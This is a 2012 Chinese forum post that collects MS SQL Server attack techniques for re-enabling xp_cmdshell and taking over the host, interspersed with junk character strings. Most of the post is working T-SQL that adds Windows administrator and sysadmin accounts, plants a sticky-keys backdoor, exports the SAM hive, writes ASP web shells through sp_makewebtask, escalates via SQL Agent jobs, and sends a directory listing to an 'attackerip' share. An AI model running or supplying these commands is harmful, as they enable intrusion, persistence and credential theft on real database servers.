找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2549|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号: Q/ A  R# K6 T- T" `. Q7 S
恢复方法:查询分离器连接后,
- n) D" I3 ]1 U! ?第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
7 T) B1 E4 V; d& z6 Y/ }第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  O' N  x: d$ f5 E然后按F5键命令执行完毕) u6 M5 S  ]' N3 }8 K
0 c2 I6 b4 [# K6 S
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)5 ~* Z9 e* ^8 W  J3 Y) d0 e
恢复方法:查询分离器连接后,4 A0 M8 A1 C5 J8 q6 i2 `" ^
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"- h* X  T8 g' o: `
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
8 Q  s9 X+ j: v7 `! |8 a" M然后按F5键命令执行完毕/ P5 k) U) f8 r" h7 y! ]/ r

& U( F% N: Q0 J  s' c9 b2 ^; a3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
% D/ [: \: e  o/ _  Q恢复方法:查询分离器连接后,
$ H" [  [$ a- e" Z0 s第一步执行:exec sp_dropextendedproc 'xp_cmdshell'1 l: F. d- R. }2 H7 l5 C
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       0 E9 ^' L1 ~. |
然后按F5键命令执行完毕& p& P: G1 Q0 [; {, |: e
- }7 _4 S* L' s$ K' y6 v6 _( v
4 终极方法.  u' o, ]& O" b5 Z
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:+ A/ [; I2 z" C! Q- a6 v
查询分离器连接后,
2 a$ \: {! z7 a6 e, w; d2000servser系统:8 R  K! L4 e$ u: w# l
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'; d9 J* _- L+ n. T" m/ ^1 W- ]

7 w2 r( p4 W( {/ g2 X/ Wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 P2 N0 ~& M# D/ W
2 C; U. @% v$ z& j  S
xp或2003server系统:
7 U* F3 w! y/ d
2 g  W7 W" n5 b* Wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'3 O, H( U) R, R# v( j2 c6 t5 `
- [6 _5 }. b" B; @" {9 ~. }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
  N' X9 w5 P2 p) @7 A1 E
) ~5 _" k" D8 g9 M, a; ~4 z: N
5 O/ p8 X. ?2 [, i五个SHIFT
; i8 {$ L; u  H( z  l/ Mdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
0 L% O, }: h8 Q5 O" R
6 B9 Q  C/ @8 D% Z8 cdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( o5 j3 W) W/ v: F  X2 h) G1 r* y/ D# v& x! ?
xp_cmdshell执行命令另一种方法
6 l  h/ V; ^/ c8 {" Qdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
# q5 {6 y, n' t' b( S9 Q  K  {! C4 A. n, f& n7 s. Q6 v# |
判断存储扩展是否存在
4 v9 b3 X! ?" |9 K) g! U: WSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'% i6 H7 e( j( @
返回结果为1就OK
# \1 \" P9 M. c1 q
6 ~7 ?0 a9 ^9 B
) z, v6 l; m% F# Z6 @; G' h上传xplog70.dll恢复xp_cmdshell语句:5 g4 U' j4 b: U% g' |
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'0 w# K! Y  f: T- B. M7 v& @

2 @  u4 y2 {- P0 m. d( T& Z; s否则上传xplog7.0.dll
% l8 l0 e6 I8 l# e3 yExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
% Q! g  E, o% }2 S, X4 v7 m3 K9 ?2 d# x1 ]# Q) t: l* A
$ n, l, |" f0 n9 K8 _( X

  `7 T' D; D; H6 ?" r2 M$ q2 S! i首先开启沙盘模式:, R! N. |- B$ Q6 x
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1' K3 O1 b: H7 Y+ p4 F6 s: D) l

' }" ~, I  y1 z2 s/ W8 w5 `$ U然后利用jet.oledb执行系统命令# J$ v  k8 `* r$ Y
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')/ a2 ?. G5 d, W7 @  ~8 p7 v
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
8 U2 K6 o2 X- V! ?8 H
% r2 m0 j( B9 O/ |/ X! m; m
: N% Q9 O2 i' U/ s0 _; P  q% w: ^3 f9 S8 }7 t5 e8 B6 O
恢复过程sp_addextendedproc 如下:
& L5 _- [5 Q. r0 [* \create procedure sp_addextendedproc --- 1996/08/30 20:13 . w' ]" M3 `2 `7 X5 {6 O0 o
@functname nvarchar(517),/* (owner.)name of function to call */ 5 h8 n( L4 D- t# d: ]
@dllname varchar(255)/* name of DLL containing function */ 5 ?% a0 S  O% n2 H
as
7 f9 p7 d( y, Cset implicit_transactions off
" g; G1 }% D+ d% [* Eif @@trancount > 0
8 }) r! x* l' b0 vbegin 6 @: x. ?+ f: X* V. }
raiserror(15002,-1,-1,'sp_addextendedproc')
' k, c3 l! v) n# g; n, f+ ereturn (1)
: q) w7 j/ J% ]0 T# jend
' ?' z1 P! }1 ^0 m; a- c& ^* ndbcc addextendedproc( @functname, @dllname)   k" W& _& y3 y. S- ^
return (0) -- sp_addextendedproc 1 e3 c8 T* f* \
GO 8 r4 X6 ~8 {4 F

6 Q# J  W% ~2 B8 J0 P% o
7 N. T) U( |; b' x
& o$ T$ V2 \+ _导出管理员密码文件
( R4 M7 \; r: p  _0 P4 X0 Rsa默认可以读sam键.应该。
* I' l4 A5 Q: V+ d8 ?2 sreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg: d- Q% ]0 m2 N7 n9 d+ X  o
net user administrator test% A) B! S* |  `& G& \
用administrator登陆.
' S6 O% H. o5 e& R用完机器后# m$ c4 _+ \( Z* x$ a1 y  i
reg import c:\test.reg
7 W6 V- B2 Y: E! h根本不用克隆.1 k: p1 W" g: G, s, b, X
找到对应的sid. + ?# H/ T7 ]0 P% `; v
& T, F! p: U+ U3 m

, f5 j8 D* I) _$ S- j8 S/ v0 Q5 e4 d2 _6 }
恢复所有存储过程
6 ~+ c- I4 S( M+ f- G( Yuse master
7 o9 }, b- k) ^: |! Y1 sexec sp_addextendedproc xp_enumgroups,'xplog70.dll'   V* G/ \  P) X* ^# C  z% y8 q# U
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ' N" z8 t$ U4 X0 K; j  R. H4 Q; D! G7 q
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 6 O& ]+ `  h" y) F, h' Q3 k; b/ i
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' , _# w( T! }) C# P
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
* Q; Q; l! K6 u+ w4 }exec sp_addextendedproc sp_OACreate,'odsole70.dll' ' y! I3 x* C8 i
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
6 y, H. U  i( K/ rexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' : o7 ~) d/ M2 v4 N/ W9 O% s
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
/ [8 Y8 p, @, O8 ?1 \; q/ P3 [: }exec sp_addextendedproc sp_OAMethod,'odsole70.dll' # ]( l, V$ F" K+ z) V/ r- I
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
4 t) m: |8 G, h1 }exec sp_addextendedproc sp_OAStop,'odsole70.dll' " [- d4 o3 }& Q% q/ t9 K' t
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ( }% N1 B& V' b1 |# n
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
3 _5 l0 U& N: xexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
4 Q. G+ y& L5 O( Q3 z  Y; F: G+ kexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
. c" i0 ^. _# B  i+ X# hexec sp_addextendedproc xp_regread,'xpstar.dll'
+ C% F5 U) D0 R7 X  hexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
+ f0 q/ N" U  B& Yexec sp_addextendedproc xp_regwrite,'xpstar.dll'
# Q, \8 V: H9 X8 {3 i* E* F: Eexec sp_addextendedproc xp_availablemedia,'xpstar.dll'6 p3 j7 w) p& H* N9 a! K2 K6 J

) w) ]9 @# i  I3 ]8 [4 V% T, n4 s5 y; o
建立读文件的存储过程9 d0 H- b+ [3 {0 d0 m4 p; J
Create proc sp_readTextFile @filename sysname
# Y0 k7 D4 a( y% zas: {: Z) V# E2 @
7 p6 K7 k* }( X) ~$ E6 v; w$ D/ b
    begin
+ t$ F7 ?! p- s    set nocount on 9 ?+ i# S6 O  o
    Create table #tempfile (line varchar(8000))
: M% G6 o: K+ z; ]% [/ ]* Z0 h    exec ('bulk insert #tempfile from "' + @filename + '"')9 g1 W! r+ k5 H/ G
    select * from #tempfile
0 W, J0 J( W9 x! @# b    drop table #tempfile
) z% _. m' T  R6 zEnd
- u8 b* w, t/ h3 D! R' r" _7 i9 I- C4 d8 S/ l
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
7 N) ^6 N, @* ?; _查看登录用户) C& y  b! ]+ v. c$ O' T
Select * from sysxlogins, \$ m, {. W6 {

1 Y9 [1 N6 f" ]把文件内容读取到表中3 V7 G4 W  A8 K, I
BULK INSERT tmp from "c:\test.txt"
% V1 K2 y4 I; P, Q: R, TdElete from 表名 清理表里的内容7 _4 u8 S6 f- q: T5 s
create table b_test(fn nvarchar(4000));建一个表,字段为fn4 e2 l8 M/ ]( N% P

# ~$ v! |/ c" @/ t6 k  u5 L' s0 t$ Q/ s3 P
加sa用户
/ G* L0 y5 x% V& Wexec master.dbo.sp_addlogin user,pass;
' f* S/ z* r$ b' {1 d2 J7 ~exec master.dbo.sp_addsrvrolemember user,sysadmin+ T$ k% m, T0 i5 _; K

& F. h1 R6 I" s7 I" i7 u7 ^; H% E4 q; q
# T% J# R4 t  S+ ?9 z) f
读文件代码
0 N+ k+ N4 J: X% ^declare @o int, @f int, @t int, @ret int
8 k7 l' ^( C) z; r! jdeclare @line varchar(8000)4 l  q/ K8 P- ]; ^# u! S& f
exec sp_oacreate 'scripting.filesystemobject', @o out
0 C0 L! T4 _4 y5 Pexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
' S$ x: l+ e) ~0 Y. V' }exec @ret = sp_oamethod @f, 'readline', @line out
1 w! p+ |3 ?& J: A0 k! D( I7 owhile( @ret = 0 )
/ w, f5 E8 c  |+ ~+ U7 Lbegin
" s4 J) C% t" Lprint @line0 o4 F* `8 t) R5 n* a
exec @ret = sp_oamethod @f, 'readline', @line out
  z  ^1 W, j' P2 qend
* H# y$ C9 M" r5 Q) Z8 u1 \( ~0 Q  R7 M
' o9 @0 ^" M: o; \& L
写文件代码:* p6 C: \& T9 x( p, C" G
declare @o int, @f int, @t int, @ret int
) p/ b/ }  `$ O) Q% Xexec sp_oacreate 'scripting.filesystemobject', @o out7 }* g3 t5 g" w' x, V' j
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 10 V4 k7 W# a8 z) X/ t$ W# G' H& A
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》. R3 j9 |# q. ?4 \; [

/ ?" G# w/ d; |% S+ C# F
( n- S: v9 W) v, n+ \" X) H1 [添加lake2 shell
. ^' x7 z. z5 ^7 v+ asp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'# ^8 B" ~% C: R7 Y6 y  }
sp_dropextendedproc xp_lake2! f7 ~5 {: Z& c8 \9 J* }7 t( j
EXEC xp_lake2 'net user'1 }3 \5 s6 n9 A1 e5 j9 s

/ S1 ?* ~# Q1 o% ~) n8 ?9 W: Q) S, b( d6 a! l( f9 s6 T) B
得到硬盘文件信息
" n5 i1 d/ u& u: ~. G0 m3 C--参数说明:目录名,目录深度,是否显示文件
% o1 W$ H% f4 O- [6 \& aexecute master..xp_dirtree 'c:'
- h, S! p4 G+ f% F/ q! Jexecute master..xp_dirtree 'c:',1 / K+ A2 F' p; i$ c, C* Y
execute master..xp_dirtree 'c:',1,1 ; ?, m9 a) M/ r5 w

8 V1 ~$ A/ V+ S' n. w0 G
' m- g% c5 s) Z) P: y- |读serv-u配置信息
) J) ]2 l& w) H: [* }( Nexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
7 k) O! ^( w- A( ?6 ]" O4 {, mexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'! }! g! d9 |$ ]* i( a

: w* ?0 s6 h$ r1 \5 L; }通过xp_regwrite写SHIFT后门
8 j. L! |: e/ b, ]! d8 Sexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--8 r. o3 t$ {! `
( Z# j0 v; j! F, n; ~! e. y3 b
! n8 n3 |, g+ ~3 P2 z9 O

4 Q0 H6 }8 G2 x7 l9 C找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
3 y+ f: G7 p. m( bexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
' H" s$ N5 }$ ~8 ~# V
9 ]4 e' c# N5 S( A* D8 @9 t$ ^9 i1 dEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'8 f# y' Y9 E7 s4 D( d
1 j6 ]& d8 L. m) _; a+ g+ e! _

7 y* L& ~5 U% j/ L, c, r- {3 U: {5 U$ m4 }  x1 y$ P3 p5 i9 y: D5 O
sql server 2005下开启xp_cmdshell的办法! G6 E4 R$ R3 [

+ W: N2 Q: X" eEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;9 _; O) T% o! k" s6 j# w
& `: y6 g/ j5 A* o" Y$ Z
SQL2005开启'OPENROWSET'支持的方法:/ U0 d! n, `' ^2 o8 _
/ \- l% i5 g( ^( p/ C
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
4 J" _0 S9 c* z% Z3 {) V
) O6 E' H4 j# G1 i: q- XSQL2005开启'sp_oacreate'支持的方法:  K, p* o& q" C. S! s6 m

2 q* |" ~4 B5 X' W* yexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
' e& g: S+ Q% a" m1 K6 e' \3 \- O
9 d( Y% U, {+ _( z: B
' |* `- y+ {, |, B5 Q/ @  c0 ^

. g, I4 T7 Q+ \% W& L! r" M: w' ?# A$ j

7 C, x& t7 `9 N2 z# B% J( A3 T8 ~/ ]6 u- m* @' h; z* _
7 H$ y9 y4 M8 S* u) s, J

7 C, S. S% Q' b! J3 t4 D3 _! W1 A4 S5 E, @. m2 I3 o

' {+ Q# Q6 m" y% l/ q. @& y, j* q& R* F
/ _8 s! `& z0 \4 X, F  A/ B, I; E; L
( W+ p" L# G9 {1 ~) I# V& T
9 ~2 I% q5 P" c3 e" N, x
  h& h. c8 b' Y# T* e& c5 i3 W( A
+ E# M4 C" g8 i3 ?* h# b0 Q/ W0 V
- e1 ^  t. j4 T( N2 X6 b
/ i$ O, y9 D5 a7 H$ B
; M" p. }; M8 l+ L5 n

5 R3 M& ]  L9 U& O# v4 e% \4 X: t$ y4 I% e

- ]2 o. u/ Z$ K8 B0 b
& c8 j+ \) r2 X( D/ |  L5 `0 ]; W以下方面不知道能不能成功暂且留下研究哈:: |! |0 C3 |5 E0 w& K2 f
4)$ C$ W: X6 [. F8 }) X; |. E) k
use msdb; --这儿不要是master哟! N8 o; o* x+ u" T" g
exec sp_add_job @job_name= czy82 ;; `% K5 b& e; o4 o- d* g$ y
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
  i# j6 \5 q% z! Yexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;- K" Z6 ]5 l3 S. u
exec sp_start_job @job_name= czy82 ;
1 P* U$ e) c. b* [: j3 M' Y: x1 X: A% g* K" j3 e6 |3 d
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
& B8 e. z) n& _5 a' P! |执行tsql语句了.
" I* t! S2 W4 @' R; {, T! ^对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
7 g- y$ U  g! A# k4 o# v第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)+ D$ @0 v1 o+ r7 i) |- a
net start SQLSERVERAGENT: n: D& o" |; i1 ^) l" p: N

- G; _* S+ L9 u对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的" @9 p- S- @7 @8 A, \% c
USE msdb
* q! ]% v" ~/ e% g3 _, }EXEC sp_add_job @job_name = GetSystemOnSQL ,
- T/ N: r! _  ^6 ~$ Y5 X9 ^@enabled = 1,
+ F" G8 r) R+ {: i5 f7 J: y@description = This will give a low privileged user access to2 _$ V1 n" e+ y2 S: i1 r. Z* Q/ Y
xp_cmdshell ,, `2 k9 V) v/ h- O
@delete_level = 1
) g* T; ?% o2 D1 L0 tEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
6 A# h. q5 |  L0 t+ }5 t@step_name = Exec my sql ,
3 `* v+ a7 \; A8 }5 ]$ A8 H9 p@subsystem = TSQL ,
( V  B; Q. Q" U: I- ?% m@command = exec master..xp_execresultset N select exec
* h" r# M  _& s; m. F2 p! r2 H) {master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
2 B5 N, S! y& u1 _: F  V5 n$ HEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 v$ P+ D$ Z7 P- j
@server_name = 你的SQL的服务器名
! Y3 h# [3 J' Z: b* D: L+ mEXEC sp_start_job @job_name = GetSystemOnSQL 7 D" S* E6 e: z8 G# T# V
5 t  \. z, l+ w9 S
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
5 P5 f9 z% X: h$ w" p* o" @才让我们可以以public执行xp_cmdshell
2 ?$ R2 q- `3 N7 n1 a. c0 q
6 |8 P: B  Q; Z7 T5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)0 N2 Z- [1 \3 m8 s% `1 F  q* B
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
0 j9 _5 _& x6 b8 f  r5 G( E. J9 @7 [  |6 C" w5 @3 p
USE msdb
. L2 C- W/ D% V$ k" L, `- lEXEC sp_add_job @job_name = ArbitraryFilecreate ,  e  a' _* g) X- K! u  a
@enabled = 1,# R& u: U4 w! K7 f' Z9 s
@description = This will create a file called c:\sqlafc123.txt ,
& @) S" u3 M7 B: V$ `8 P3 W. `, x9 @@delete_level = 15 C, J; e: l" f3 r, ~* d* `
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
8 T  C" U1 p* [* L5 N1 T@step_name = SQLAFC ,
1 k2 _. K  o) O@subsystem = TSQL ,
$ i# M# z; G8 i9 g  A8 K* o@command = select hello, this file was created by the SQL Agent. ,
4 ]) y; k8 r- _. p@output_file_name = c:\sqlafc123.txt
7 J( ?8 R/ j0 m, ~& c& OEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
6 G9 c+ ~4 o4 e$ O; m@server_name = SERVER_NAME
, u6 e* U2 Y! z2 sEXEC sp_start_job @job_name = ArbitraryFilecreate % a  M$ u' v* @3 F5 ]$ W# I

# f, V9 f$ \1 D$ f9 H如果subsystem选的是:tsql,在生成的文件的头部有如下内容4 G7 i+ K' L& @

8 M% M. t- K. A* k$ `??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:196 z+ P3 l$ f- |- q6 l
----------------------------------------------
4 N& a5 v# M' z9 ?hello, this file was created by the SQL Agent., G0 x6 Q& I  i, n) {

/ D+ h, j/ E! j# [3 l6 m(1 ?????)
& ?4 m* J2 j8 |3 R5 }$ N. l0 Q8 S- x6 S  R& H6 l
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) S; _" q* o3 p# p$ c7 W* ~! v
命令的vbs文件到启动目录!' W; {" y% C6 k
1 ?0 m) Y. o5 `& q5 Y( l
6)关于sp_makewebtask(可以写任意内容任意文件名的文件). o! v0 z3 F6 S% w, J' T! E% f
关于sp_MScopyscriptfile 看下面的例子
1 b0 E; ~1 V& S, J" t& Pdeclare @command varchar(100) & c" d- X$ T$ h. T; W. G; q8 c$ B
declare @scripfile varchar(200)
: A" w& W/ O; gset concat_null_yields_null off
' s9 E# t: L9 f7 @) V* ]& G1 ~) xselect @command= dir c:\ > "\\attackerip\share\dir.txt" ; B9 a3 w8 T( a/ B- W, d) \
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
8 i9 S( [* Y: Uexec sp_MScopyscriptfile @scripfile ,
7 Y8 x1 V+ q/ y( [6 ]6 q, x* J. N0 t9 i' b. H! D
这两个东东都还在测试试哟
0 F( ~5 r) A# ?% B7 ?2 y让MSSQL的public用户得到一个本机的web shell
  T  k4 f; a% T* F# l9 x
" h$ z$ I4 I0 d, Hsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312," }: X8 N  e$ a7 Q  }/ K
--@query= select <img src=vbscript:msgbox(now())>   p% B+ u5 E' S; o/ K1 C% w5 s
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ; b( E6 |1 J% V& g9 z
@query= select 6 d: y4 J' \- }# X7 W2 y
<%On Error Resume Next * X" F( C$ ^! m1 E
Set oscript = Server.createObject("wscript.SHELL") 5 p7 [4 b# W, b/ [. x- r
Set oscriptNet = Server.createObject("wscript.NETWORK")
% i  D. T* U& m% S, i& `Set oFileSys = Server.createObject("scripting.FileSystemObject") 3 R5 m. B) J- t; J" t, q
szCMD = Request.Form(".CMD")
. H+ H1 j% [% g4 t0 @$ `! NIf (szCMD <>"")Then
" R1 [" Q' ]* ^3 MszTempFile = "C:\" & oFileSys.GetTempName() 1 L- [$ o9 L, y# k; E- b9 F0 [
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
% `4 a0 u! b, {5 X% u- m2 VSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
( ]! S% d) ?1 zEnd If %>
, R/ T/ d: c/ P9 H<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> ' _% ]. r+ A1 x, ]
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
( L4 o2 B# ]7 T" a/ n( s</FORM><RE>
6 O6 w3 b, G* s& Y<% If (IsObject(oFile))Then
& c, P. u& |4 r( S: M2 j# f/ BOn Error Resume Next
; q+ z( d3 n/ {* j7 |1 J1 xResponse.Write Server.HTMLEncode(oFile.ReadAll) - l: y4 k# g3 B; \1 ^/ e! z
oFile.Close
7 B" h: d5 T; Y" O3 BCall oFileSys.deleteFile(szTempFile, True)
1 X3 l4 {4 W# }$ B" mEnd If%>
$ C9 p0 T1 l, D8 B" C& h$ t</BODY></HTML> / K1 `# B) Z& _* y3 S) w0 j& n5 n, U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表